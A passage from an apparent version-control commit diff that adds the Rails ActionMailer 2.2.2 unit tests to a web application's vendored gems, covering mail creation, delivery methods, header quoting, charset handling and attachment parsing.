+    expected.from    = "system at loudthinking.com"
+    expected.date    = Time.local(2004, 12, 12)
+
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_custom_template(@recipient) }
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+  end
+
+  def test_custom_templating_extension
+    # N.b., custom_templating_extension.text.plain.haml is expected to be in fixtures/test_mailer directory
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "[Signed up] Welcome #{@recipient}"
+    expected.body    = "Hello there, \n\nMr. #{@recipient}"
+    expected.from    = "system at loudthinking.com"
+    expected.date    = Time.local(2004, 12, 12)
+
+    # Stub the render method so no alternative renderers need be present.
+    ActionView::Base.any_instance.stubs(:render).returns("Hello there, \n\nMr. #{@recipient}")
+
+    # Now that the template is registered, there should be one part. The text/plain part.
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_custom_templating_extension(@recipient) }
+    assert_not_nil created
+    assert_equal 2, created.parts.length
+    assert_equal 'text/plain', created.parts[0].content_type
+    assert_equal 'text/html', created.parts[1].content_type
+  end
+
+  def test_cancelled_account
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "[Cancelled] Goodbye #{@recipient}"
+    expected.body    = "Goodbye, Mr. #{@recipient}"
+    expected.from    = "system at loudthinking.com"
+    expected.date    = Time.local(2004, 12, 12)
+
+    created = nil
+    assert_nothing_raised { created = TestMailer.create_cancelled_account(@recipient) }
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised { TestMailer.deliver_cancelled_account(@recipient) }
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+
+  def test_cc_bcc
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "testing bcc/cc"
+    expected.body    = "Nothing to see here."
+    expected.from    = "system at loudthinking.com"
+    expected.cc      = "nobody at loudthinking.com"
+    expected.bcc     = "root at loudthinking.com"
+    expected.date    = Time.local 2004, 12, 12
+
+    created = nil
+    assert_nothing_raised do
+      created = TestMailer.create_cc_bcc @recipient
+    end
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised do
+      TestMailer.deliver_cc_bcc @recipient
+    end
+
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+
+  def test_reply_to
+    expected = new_mail
+
+    expected.to       = @recipient
+    expected.subject  = "testing reply_to"
+    expected.body     = "Nothing to see here."
+    expected.from     = "system at loudthinking.com"
+    expected.reply_to = "atraver at gmail.com"
+    expected.date     = Time.local 2008, 5, 23
+
+    created = nil
+    assert_nothing_raised do
+      created = TestMailer.create_different_reply_to @recipient
+    end
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised do
+      TestMailer.deliver_different_reply_to @recipient
+    end
+
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+
+  def test_iso_charset
+    expected = new_mail( "iso-8859-1" )
+    expected.to      = @recipient
+    expected.subject = encode "testing isø charsets", "iso-8859-1"
+    expected.body    = "Nothing to see here."
+    expected.from    = "system at loudthinking.com"
+    expected.cc      = "nobody at loudthinking.com"
+    expected.bcc     = "root at loudthinking.com"
+    expected.date    = Time.local 2004, 12, 12
+
+    created = nil
+    assert_nothing_raised do
+      created = TestMailer.create_iso_charset @recipient
+    end
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised do
+      TestMailer.deliver_iso_charset @recipient
+    end
+
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+
+  def test_unencoded_subject
+    expected = new_mail
+    expected.to      = @recipient
+    expected.subject = "testing unencoded subject"
+    expected.body    = "Nothing to see here."
+    expected.from    = "system at loudthinking.com"
+    expected.cc      = "nobody at loudthinking.com"
+    expected.bcc     = "root at loudthinking.com"
+    expected.date    = Time.local 2004, 12, 12
+
+    created = nil
+    assert_nothing_raised do
+      created = TestMailer.create_unencoded_subject @recipient
+    end
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised do
+      TestMailer.deliver_unencoded_subject @recipient
+    end
+
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+
+  def test_instances_are_nil
+    assert_nil ActionMailer::Base.new
+    assert_nil TestMailer.new
+  end
+
+  def test_deliveries_array
+    assert_not_nil ActionMailer::Base.deliveries
+    assert_equal 0, ActionMailer::Base.deliveries.size
+    TestMailer.deliver_signed_up(@recipient)
+    assert_equal 1, ActionMailer::Base.deliveries.size
+    assert_not_nil ActionMailer::Base.deliveries.first
+  end
+
+  def test_perform_deliveries_flag
+    ActionMailer::Base.perform_deliveries = false
+    TestMailer.deliver_signed_up(@recipient)
+    assert_equal 0, ActionMailer::Base.deliveries.size
+    ActionMailer::Base.perform_deliveries = true
+    TestMailer.deliver_signed_up(@recipient)
+    assert_equal 1, ActionMailer::Base.deliveries.size
+  end
+
+  def test_doesnt_raise_errors_when_raise_delivery_errors_is_false
+    ActionMailer::Base.raise_delivery_errors = false
+    TestMailer.any_instance.expects(:perform_delivery_test).raises(Exception)
+    assert_nothing_raised { TestMailer.deliver_signed_up(@recipient) }
+  end
+
+  def test_performs_delivery_via_sendmail
+    sm = mock()
+    sm.expects(:print).with(anything)
+    sm.expects(:flush)
+    IO.expects(:popen).once.with('/usr/sbin/sendmail -i -t', 'w+').yields(sm)
+    ActionMailer::Base.delivery_method = :sendmail
+    TestMailer.deliver_signed_up(@recipient)
+  end
+
+  def test_delivery_logs_sent_mail
+    mail = TestMailer.create_signed_up(@recipient)
+    logger = mock()
+    logger.expects(:info).with("Sent mail to #{@recipient}")
+    logger.expects(:debug).with("\n#{mail.encoded}")
+    TestMailer.logger = logger
+    TestMailer.deliver_signed_up(@recipient)
+  end
+
+  def test_unquote_quoted_printable_subject
+    msg = <<EOF
+From: me at example.com
+Subject: =?utf-8?Q?testing_testing_=D6=A4?=
+Content-Type: text/plain; charset=iso-8859-1
+
+The body
+EOF
+    mail = TMail::Mail.parse(msg)
+    assert_equal "testing testing \326\244", mail.subject
+    assert_equal "=?utf-8?Q?testing_testing_=D6=A4?=", mail.quoted_subject
+  end
+
+  def test_unquote_7bit_subject
+    msg = <<EOF
+From: me at example.com
+Subject: this == working?
+Content-Type: text/plain; charset=iso-8859-1
+
+The body
+EOF
+    mail = TMail::Mail.parse(msg)
+    assert_equal "this == working?", mail.subject
+    assert_equal "this == working?", mail.quoted_subject
+  end
+
+  def test_unquote_7bit_body
+    msg = <<EOF
+From: me at example.com
+Subject: subject
+Content-Type: text/plain; charset=iso-8859-1
+Content-Transfer-Encoding: 7bit
+
+The=3Dbody
+EOF
+    mail = TMail::Mail.parse(msg)
+    assert_equal "The=3Dbody", mail.body.strip
+    assert_equal "The=3Dbody", mail.quoted_body.strip
+  end
+
+  def test_unquote_quoted_printable_body
+    msg = <<EOF
+From: me at example.com
+Subject: subject
+Content-Type: text/plain; charset=iso-8859-1
+Content-Transfer-Encoding: quoted-printable
+
+The=3Dbody
+EOF
+    mail = TMail::Mail.parse(msg)
+    assert_equal "The=body", mail.body.strip
+    assert_equal "The=3Dbody", mail.quoted_body.strip
+  end
+
+  def test_unquote_base64_body
+    msg = <<EOF
+From: me at example.com
+Subject: subject
+Content-Type: text/plain; charset=iso-8859-1
+Content-Transfer-Encoding: base64
+
+VGhlIGJvZHk=
+EOF
+    mail = TMail::Mail.parse(msg)
+    assert_equal "The body", mail.body.strip
+    assert_equal "VGhlIGJvZHk=", mail.quoted_body.strip
+  end
+
+  def test_extended_headers
+    @recipient = "Grytøyr <test at localhost>"
+
+    expected = new_mail "iso-8859-1"
+    expected.to      = quote_address_if_necessary @recipient, "iso-8859-1"
+    expected.subject = "testing extended headers"
+    expected.body    = "Nothing to see here."
+    expected.from    = quote_address_if_necessary "Grytøyr <stian1 at example.net>", "iso-8859-1"
+    expected.cc      = quote_address_if_necessary "Grytøyr <stian2 at example.net>", "iso-8859-1"
+    expected.bcc     = quote_address_if_necessary "Grytøyr <stian3 at example.net>", "iso-8859-1"
+    expected.date    = Time.local 2004, 12, 12
+
+    created = nil
+    assert_nothing_raised do
+      created = TestMailer.create_extended_headers @recipient
+    end
+
+    assert_not_nil created
+    assert_equal expected.encoded, created.encoded
+
+    assert_nothing_raised do
+      TestMailer.deliver_extended_headers @recipient
+    end
+
+    assert_not_nil ActionMailer::Base.deliveries.first
+    assert_equal expected.encoded, ActionMailer::Base.deliveries.first.encoded
+  end
+
+  def test_utf8_body_is_not_quoted
+    @recipient = "Foo áëô îü <extended at example.net>"
+    expected = new_mail "utf-8"
+    expected.to      = quote_address_if_necessary @recipient, "utf-8"
+    expected.subject = "testing utf-8 body"
+    expected.body    = "åœö blah"
+    expected.from    = quote_address_if_necessary @recipient, "utf-8"
+    expected.cc      = quote_address_if_necessary @recipient, "utf-8"
+    expected.bcc     = quote_address_if_necessary @recipient, "utf-8"
+    expected.date    = Time.local 2004, 12, 12
+
+    created = TestMailer.create_utf8_body @recipient
+    assert_match(/åœö blah/, created.encoded)
+  end
+
+  def test_multiple_utf8_recipients
+    @recipient = ["\"Foo áëô îü\" <extended at example.net>", "\"Example Recipient\" <me at example.com>"]
+    expected = new_mail "utf-8"
+    expected.to      = quote_address_if_necessary @recipient, "utf-8"
+    expected.subject = "testing utf-8 body"
+    expected.body    = "åœö blah"
+    expected.from    = quote_address_if_necessary @recipient.first, "utf-8"
+    expected.cc      = quote_address_if_necessary @recipient, "utf-8"
+    expected.bcc     = quote_address_if_necessary @recipient, "utf-8"
+    expected.date    = Time.local 2004, 12, 12
+
+    created = TestMailer.create_utf8_body @recipient
+    assert_match(/\nFrom: =\?utf-8\?Q\?Foo_.*?\?= <extended at example.net>\r/, created.encoded)
+    assert_match(/\nTo: =\?utf-8\?Q\?Foo_.*?\?= <extended at example.net>, Example Recipient <me/, created.encoded)
+  end
+
+  def test_receive_decodes_base64_encoded_mail
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email")
+    TestMailer.receive(fixture)
+    assert_match(/Jamis/, TestMailer.received_body)
+  end
+
+  def test_receive_attachments
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email2")
+    mail = TMail::Mail.parse(fixture)
+    attachment = mail.attachments.last
+    assert_equal "smime.p7s", attachment.original_filename
+    assert_equal "application/pkcs7-signature", attachment.content_type
+  end
+
+  def test_decode_attachment_without_charset
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email3")
+    mail = TMail::Mail.parse(fixture)
+    attachment = mail.attachments.last
+    assert_equal 1026, attachment.read.length
+  end
+
+  def test_attachment_using_content_location
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email12")
+    mail = TMail::Mail.parse(fixture)
+    assert_equal 1, mail.attachments.length
+    assert_equal "Photo25.jpg", mail.attachments.first.original_filename
+  end
+
+  def test_attachment_with_text_type
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email13")
+    mail = TMail::Mail.parse(fixture)
+    assert mail.has_attachments?
+    assert_equal 1, mail.attachments.length
+    assert_equal "hello.rb", mail.attachments.first.original_filename
+  end
+
+  def test_decode_part_without_content_type
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email4")
+    mail = TMail::Mail.parse(fixture)
+    assert_nothing_raised { mail.body }
+  end
+
+  def test_decode_message_without_content_type
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email5")
+    mail = TMail::Mail.parse(fixture)
+    assert_nothing_raised { mail.body }
+  end
+
+  def test_decode_message_with_incorrect_charset
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email6")
+    mail = TMail::Mail.parse(fixture)
+    assert_nothing_raised { mail.body }
+  end
+
+  def test_multipart_with_mime_version
+    mail = TestMailer.create_multipart_with_mime_version(@recipient)
+    assert_equal "1.1", mail.mime_version
+  end
+
+  def test_multipart_with_utf8_subject
+    mail = TestMailer.create_multipart_with_utf8_subject(@recipient)
+    assert_match(/\nSubject: =\?utf-8\?Q\?Foo_.*?\?=/, mail.encoded)
+  end
+
+  def test_implicitly_multipart_with_utf8
+    mail = TestMailer.create_implicitly_multipart_with_utf8
+    assert_match(/\nSubject: =\?utf-8\?Q\?Foo_.*?\?=/, mail.encoded)
+  end
+
+  def test_explicitly_multipart_messages
+    mail = TestMailer.create_explicitly_multipart_example(@recipient)
+    assert_equal 3, mail.parts.length
+    assert_nil mail.content_type
+    assert_equal "text/plain", mail.parts[0].content_type
+
+    assert_equal "text/html", mail.parts[1].content_type
+    assert_equal "iso-8859-1", mail.parts[1].sub_header("content-type", "charset")
+    assert_equal "inline", mail.parts[1].content_disposition
+
+    assert_equal "image/jpeg", mail.parts[2].content_type
+    assert_equal "attachment", mail.parts[2].content_disposition
+    assert_equal "foo.jpg", mail.parts[2].sub_header("content-disposition", "filename")
+    assert_equal "foo.jpg", mail.parts[2].sub_header("content-type", "name")
+    assert_nil mail.parts[2].sub_header("content-type", "charset")
+  end
+
+  def test_explicitly_multipart_with_content_type
+    mail = TestMailer.create_explicitly_multipart_example(@recipient, "multipart/alternative")
+    assert_equal 3, mail.parts.length
+    assert_equal "multipart/alternative", mail.content_type
+  end
+
+  def test_explicitly_multipart_with_invalid_content_type
+    mail = TestMailer.create_explicitly_multipart_example(@recipient, "text/xml")
+    assert_equal 3, mail.parts.length
+    assert_nil mail.content_type
+  end
+
+  def test_implicitly_multipart_messages
+    mail = TestMailer.create_implicitly_multipart_example(@recipient)
+    assert_equal 3, mail.parts.length
+    assert_equal "1.0", mail.mime_version
+    assert_equal "multipart/alternative", mail.content_type
+    assert_equal "text/yaml", mail.parts[0].content_type
+    assert_equal "utf-8", mail.parts[0].sub_header("content-type", "charset")
+    assert_equal "text/plain", mail.parts[1].content_type
+    assert_equal "utf-8", mail.parts[1].sub_header("content-type", "charset")
+    assert_equal "text/html", mail.parts[2].content_type
+    assert_equal "utf-8", mail.parts[2].sub_header("content-type", "charset")
+  end
+
+  def test_implicitly_multipart_messages_with_custom_order
+    mail = TestMailer.create_implicitly_multipart_example(@recipient, nil, ["text/yaml", "text/plain"])
+    assert_equal 3, mail.parts.length
+    assert_equal "text/html", mail.parts[0].content_type
+    assert_equal "text/plain", mail.parts[1].content_type
+    assert_equal "text/yaml", mail.parts[2].content_type
+  end
+
+  def test_implicitly_multipart_messages_with_charset
+    mail = TestMailer.create_implicitly_multipart_example(@recipient, 'iso-8859-1')
+
+    assert_equal "multipart/alternative", mail.header['content-type'].body
+
+    assert_equal 'iso-8859-1', mail.parts[0].sub_header("content-type", "charset")
+    assert_equal 'iso-8859-1', mail.parts[1].sub_header("content-type", "charset")
+    assert_equal 'iso-8859-1', mail.parts[2].sub_header("content-type", "charset")
+  end
+
+  def test_html_mail
+    mail = TestMailer.create_html_mail(@recipient)
+    assert_equal "text/html", mail.content_type
+  end
+
+  def test_html_mail_with_underscores
+    mail = TestMailer.create_html_mail_with_underscores(@recipient)
+    assert_equal %{<a href="http://google.com" target="_blank">_Google</a>}, mail.body
+  end
+
+  def test_various_newlines
+    mail = TestMailer.create_various_newlines(@recipient)
+    assert_equal("line #1\nline #2\nline #3\nline #4\n\n" +
+                 "line #5\n\nline#6\n\nline #7", mail.body)
+  end
+
+  def test_various_newlines_multipart
+    mail = TestMailer.create_various_newlines_multipart(@recipient)
+    assert_equal "line #1\nline #2\nline #3\nline #4\n\n", mail.parts[0].body
+    assert_equal "<p>line #1</p>\n<p>line #2</p>\n<p>line #3</p>\n<p>line #4</p>\n\n", mail.parts[1].body
+  end
+
+  def test_headers_removed_on_smtp_delivery
+    ActionMailer::Base.delivery_method = :smtp
+    TestMailer.deliver_cc_bcc(@recipient)
+    assert MockSMTP.deliveries[0][2].include?("root at loudthinking.com")
+    assert MockSMTP.deliveries[0][2].include?("nobody at loudthinking.com")
+    assert MockSMTP.deliveries[0][2].include?(@recipient)
+    assert_match %r{^Cc: nobody at loudthinking.com}, MockSMTP.deliveries[0][0]
+    assert_match %r{^To: #{@recipient}}, MockSMTP.deliveries[0][0]
+    assert_no_match %r{^Bcc: root at loudthinking.com}, MockSMTP.deliveries[0][0]
+  end
+
+  def test_recursive_multipart_processing
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email7")
+    mail = TMail::Mail.parse(fixture)
+    assert_equal "This is the first part.\n\nAttachment: test.rb\nAttachment: test.pdf\n\n\nAttachment: smime.p7s\n", mail.body
+  end
+
+  def test_decode_encoded_attachment_filename
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email8")
+    mail = TMail::Mail.parse(fixture)
+    attachment = mail.attachments.last
+
+    expected = "01 Quien Te Dij\212at. Pitbull.mp3"
+    expected.force_encoding(Encoding::ASCII_8BIT) if expected.respond_to?(:force_encoding)
+
+    assert_equal expected, attachment.original_filename
+  end
+
+  def test_wrong_mail_header
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email9")
+    assert_raise(TMail::SyntaxError) { TMail::Mail.parse(fixture) }
+  end
+
+  def test_decode_message_with_unknown_charset
+    fixture = File.read(File.dirname(__FILE__) + "/fixtures/raw_email10")
+    mail = TMail::Mail.parse(fixture)
+    assert_nothing_raised { mail.body }
+  end
+
+  def test_empty_header_values_omitted
+    result = TestMailer.create_unnamed_attachment(@recipient).encoded
+    assert_match %r{Content-Type: application/octet-stream[^;]}, result
+    assert_match %r{Content-Disposition: attachment[^;]}, result
+  end
+
+  def test_headers_with_nonalpha_chars
+    mail = TestMailer.create_headers_with_nonalpha_chars(@recipient)
+    assert !mail.from_addrs.empty?
+    assert !mail.cc_addrs.empty?
+    assert !mail.bcc_addrs.empty?
+    assert_match(/:/, mail.from_addrs.to_s)
+    assert_match(/:/, mail.cc_addrs.to_s)
+    assert_match(/:/, mail.bcc_addrs.to_s)
+  end
+
+  def test_deliver_with_mail_object
+    mail = TestMailer.create_headers_with_nonalpha_chars(@recipient)
+    assert_nothing_raised { TestMailer.deliver(mail) }
+    assert_equal 1, TestMailer.deliveries.length
+  end
+
+  def test_multipart_with_template_path_with_dots
+    mail = FunkyPathMailer.create_multipart_with_template_path_with_dots(@recipient)
+    assert_equal 2, mail.parts.length
+  end
+
+  def test_custom_content_type_attributes
+    mail = TestMailer.create_custom_content_type_attributes
+    assert_match %r{format=flowed}, mail['content-type'].to_s
+    assert_match %r{charset=utf-8}, mail['content-type'].to_s
+  end
+
+  def test_return_path_with_create
+    mail = TestMailer.create_return_path
+    assert_equal "<another at somewhere.test>", mail['return-path'].to_s
+  end
+
+  def test_return_path_with_deliver
+    ActionMailer::Base.delivery_method = :smtp
+    TestMailer.deliver_return_path
+    assert_match %r{^Return-Path: <another at somewhere.test>}, MockSMTP.deliveries[0][0]
+  end
+
+  def test_body_is_stored_as_an_ivar
+    mail = TestMailer.create_body_ivar(@recipient)
+    assert_equal "body: foo\nbar: baz", mail.body
+  end
+
+  def test_starttls_is_enabled_if_supported
+    MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(true)
+    MockSMTP.any_instance.expects(:enable_starttls_auto)
+    ActionMailer::Base.delivery_method = :smtp
+    TestMailer.deliver_signed_up(@recipient)
+  end
+
+  def test_starttls_is_disabled_if_not_supported
+    MockSMTP.any_instance.expects(:respond_to?).with(:enable_starttls_auto).returns(false)
+    MockSMTP.any_instance.expects(:enable_starttls_auto).never
+    ActionMailer::Base.delivery_method = :smtp
+    TestMailer.deliver_signed_up(@recipient)
+  end
+end
+
+end # uses_mocha
+
+class InheritableTemplateRootTest < Test::Unit::TestCase
+  def test_attr
+    expected = "#{File.dirname(__FILE__)}/fixtures/path.with.dots"
+    assert_equal expected, FunkyPathMailer.template_root
+
+    sub = Class.new(FunkyPathMailer)
+    sub.template_root = 'test/path'
+
+    assert_equal 'test/path', sub.template_root
+    assert_equal expected, FunkyPathMailer.template_root
+  end
+end
+
+class MethodNamingTest < Test::Unit::TestCase
+  class TestMailer < ActionMailer::Base
+    def send
+      body 'foo'
+    end
+  end
+
+  def setup
+    set_delivery_method :test
+    ActionMailer::Base.perform_deliveries = true
+    ActionMailer::Base.deliveries = []
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_send_method
+    assert_nothing_raised do
+      assert_emails 1 do
+        TestMailer.deliver_send
+      end
+    end
+  end
+end
+
+class RespondToTest < Test::Unit::TestCase
+  class RespondToMailer < ActionMailer::Base; end
+
+  def setup
+    set_delivery_method :test
+  end
+
+  def teardown
+    restore_delivery_method
+  end
+
+  def test_should_respond_to_new
+    assert RespondToMailer.respond_to?(:new)
+  end
+
+  def test_should_respond_to_create_with_template_suffix
+    assert RespondToMailer.respond_to?(:create_any_old_template)
+  end
+
+  def test_should_respond_to_deliver_with_template_suffix
+    assert RespondToMailer.respond_to?(:deliver_any_old_template)
+  end
+
+  def test_should_not_respond_to_new_with_template_suffix
+    assert !RespondToMailer.respond_to?(:new_any_old_template)
+  end
+
+  def test_should_not_respond_to_create_with_template_suffix_unless_it_is_separated_by_an_underscore
+    assert !RespondToMailer.respond_to?(:createany_old_template)
+  end
+
+  def test_should_not_respond_to_deliver_with_template_suffix_unless_it_is_separated_by_an_underscore
+    assert !RespondToMailer.respond_to?(:deliverany_old_template)
+  end
+
+  def test_should_not_respond_to_create_with_template_suffix_if_it_begins_with_a_uppercase_letter
+    assert !RespondToMailer.respond_to?(:create_Any_old_template)
+  end
+
+  def test_should_not_respond_to_deliver_with_template_suffix_if_it_begins_with_a_uppercase_letter
+    assert !RespondToMailer.respond_to?(:deliver_Any_old_template)
+  end
+
+  def test_should_not_respond_to_create_with_template_suffix_if_it_begins_with_a_digit
+    assert !RespondToMailer.respond_to?(:create_1_template)
+  end
+
+  def test_should_not_respond_to_deliver_with_template_suffix_if_it_begins_with_a_digit
+    assert !RespondToMailer.respond_to?(:deliver_1_template)
+  end
+
+  def test_should_not_respond_to_method_where_deliver_is_not_a_suffix
+    assert !RespondToMailer.respond_to?(:foo_deliver_template)
+  end
+
+  def test_should_still_raise_exception_with_expected_message_when_calling_an_undefined_method
+    error = assert_raises NoMethodError do
+      RespondToMailer.not_a_method
+    end
+
+    assert_match /undefined method.*not_a_method/, error.message
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/quoting_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/quoting_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/quoting_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,98 @@
+# encoding: utf-8
+require 'abstract_unit'
+require 'tmail'
+require 'tempfile'
+
+class QuotingTest < Test::Unit::TestCase
+  # Move some tests from TMAIL here
+  def test_unquote_quoted_printable
+    a ="=?ISO-8859-1?Q?[166417]_Bekr=E6ftelse_fra_Rejsefeber?="
+    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
+    assert_equal "[166417] Bekr\303\246ftelse fra Rejsefeber", b
+  end
+
+  def test_unquote_base64
+    a ="=?ISO-8859-1?B?WzE2NjQxN10gQmVrcuZmdGVsc2UgZnJhIFJlanNlZmViZXI=?="
+    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
+    assert_equal "[166417] Bekr\303\246ftelse fra Rejsefeber", b
+  end
+
+  def test_unquote_without_charset
+    a ="[166417]_Bekr=E6ftelse_fra_Rejsefeber"
+    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
+    assert_equal "[166417]_Bekr=E6ftelse_fra_Rejsefeber", b
+  end
+
+  def test_unqoute_multiple
+    a ="=?utf-8?q?Re=3A_=5B12=5D_=23137=3A_Inkonsistente_verwendung_von_=22Hin?==?utf-8?b?enVmw7xnZW4i?="
+    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
+    assert_equal "Re: [12] #137: Inkonsistente verwendung von \"Hinzuf\303\274gen\"", b
+  end
+
+  def test_unqoute_in_the_middle
+    a ="Re: Photos =?ISO-8859-1?Q?Brosch=FCre_Rand?="
+    b = TMail::Unquoter.unquote_and_convert_to(a, 'utf-8')
+    assert_equal "Re: Photos Brosch\303\274re Rand", b
+  end
+
+  def test_unqoute_iso
+    a ="=?ISO-8859-1?Q?Brosch=FCre_Rand?="
+    b = TMail::Unquoter.unquote_and_convert_to(a, 'iso-8859-1')
+    expected = "Brosch\374re Rand"
+    expected.force_encoding 'iso-8859-1' if expected.respond_to?(:force_encoding)
+    assert_equal expected, b
+  end
+
+  def test_quote_multibyte_chars
+    original = "\303\246 \303\270 and \303\245"
+    original.force_encoding('ASCII-8BIT') if original.respond_to?(:force_encoding)
+
+    result = execute_in_sandbox(<<-CODE)
+      $:.unshift(File.dirname(__FILE__) + "/../lib/")
+      $KCODE = 'u'
+      require 'jcode'
+      require 'action_mailer/quoting'
+      include ActionMailer::Quoting
+      quoted_printable(#{original.inspect}, "UTF-8")
+    CODE
+
+    unquoted = TMail::Unquoter.unquote_and_convert_to(result, nil)
+    assert_equal unquoted, original
+  end
+
+
+  # test an email that has been created using \r\n newlines, instead of
+  # \n newlines.
+  def test_email_quoted_with_0d0a
+    mail = TMail::Mail.parse(IO.read("#{File.dirname(__FILE__)}/fixtures/raw_email_quoted_with_0d0a"))
+    assert_match %r{Elapsed time}, mail.body
+  end
+
+  def test_email_with_partially_quoted_subject
+    mail = TMail::Mail.parse(IO.read("#{File.dirname(__FILE__)}/fixtures/raw_email_with_partially_quoted_subject"))
+    assert_equal "Re: Test: \"\346\274\242\345\255\227\" mid \"\346\274\242\345\255\227\" tail", mail.subject
+  end
+
+  private
+    # This whole thing *could* be much simpler, but I don't think Tempfile,
+    # popen and others exist on all platforms (like Windows).
+    def execute_in_sandbox(code)
+      test_name = "#{File.dirname(__FILE__)}/am-quoting-test.#{$$}.rb"
+      res_name = "#{File.dirname(__FILE__)}/am-quoting-test.#{$$}.out"
+
+      File.open(test_name, "w+") do |file|
+        file.write(<<-CODE)
+          block = Proc.new do
+            #{code}
+          end
+          puts block.call
+        CODE
+      end
+
+      system("ruby #{test_name} > #{res_name}") or raise "could not run test in sandbox"
+      File.read(res_name).chomp
+    ensure
+      File.delete(test_name) rescue nil
+      File.delete(res_name) rescue nil
+    end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/test_helper_test.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/test_helper_test.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionmailer-2.2.2/test/test_helper_test.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,129 @@
+require 'abstract_unit'
+
+class TestHelperMailer < ActionMailer::Base
+  def test
+    recipients "test at example.com"
+    from       "tester at example.com"
+    body       render(:inline => "Hello, <%= @world %>", :body => { :world => "Earth" })
+  end
+end
+
+class TestHelperMailerTest < ActionMailer::TestCase
+  def test_setup_sets_right_action_mailer_options
+    assert_equal :test, ActionMailer::Base.delivery_method
+    assert ActionMailer::Base.perform_deliveries
+    assert_equal [], ActionMailer::Base.deliveries
+  end
+
+  def test_setup_creates_the_expected_mailer
+    assert @expected.is_a?(TMail::Mail)
+    assert_equal "1.0", @expected.mime_version
+    assert_equal "text/plain", @expected.content_type
+  end
+
+  def test_mailer_class_is_correctly_inferred
+    assert_equal TestHelperMailer, self.class.mailer_class
+  end
+
+  def test_determine_default_mailer_raises_correct_error
+    assert_raises(ActionMailer::NonInferrableMailerError) do
+      self.class.determine_default_mailer("NotAMailerTest")
+    end
+  end
+  
+  def test_charset_is_utf_8
+    assert_equal "utf-8", charset
+  end
+
+  def test_encode
+    assert_equal "=?utf-8?Q?=0aasdf=0a?=", encode("\nasdf\n")
+  end
+
+  def test_assert_emails
+    assert_nothing_raised do
+      assert_emails 1 do
+        TestHelperMailer.deliver_test
+      end
+    end
+  end
+  
+  def test_repeated_assert_emails_calls
+    assert_nothing_raised do
+      assert_emails 1 do
+        TestHelperMailer.deliver_test
+      end
+    end
+    
+    assert_nothing_raised do
+      assert_emails 2 do
+        TestHelperMailer.deliver_test
+        TestHelperMailer.deliver_test
+      end
+    end
+  end
+  
+  def test_assert_emails_with_no_block
+    assert_nothing_raised do
+      TestHelperMailer.deliver_test
+      assert_emails 1
+    end
+    
+    assert_nothing_raised do
+      TestHelperMailer.deliver_test
+      TestHelperMailer.deliver_test
+      assert_emails 3
+    end
+  end
+  
+  def test_assert_no_emails
+    assert_nothing_raised do
+      assert_no_emails do
+        TestHelperMailer.create_test
+      end
+    end
+  end
+  
+  def test_assert_emails_too_few_sent
+    error = assert_raises Test::Unit::AssertionFailedError do
+      assert_emails 2 do
+        TestHelperMailer.deliver_test
+      end
+    end
+    
+    assert_match /2 .* but 1/, error.message
+  end
+  
+  def test_assert_emails_too_many_sent
+    error = assert_raises Test::Unit::AssertionFailedError do
+      assert_emails 1 do
+        TestHelperMailer.deliver_test
+        TestHelperMailer.deliver_test
+      end
+    end
+    
+    assert_match /1 .* but 2/, error.message
+  end
+  
+  def test_assert_no_emails_failure
+    error = assert_raises Test::Unit::AssertionFailedError do
+      assert_no_emails do
+        TestHelperMailer.deliver_test
+      end
+    end
+    
+    assert_match /0 .* but 1/, error.message
+  end
+end
+
+class AnotherTestHelperMailerTest < ActionMailer::TestCase
+  tests TestHelperMailer
+
+  def setup
+    @test_var = "a value"
+  end
+
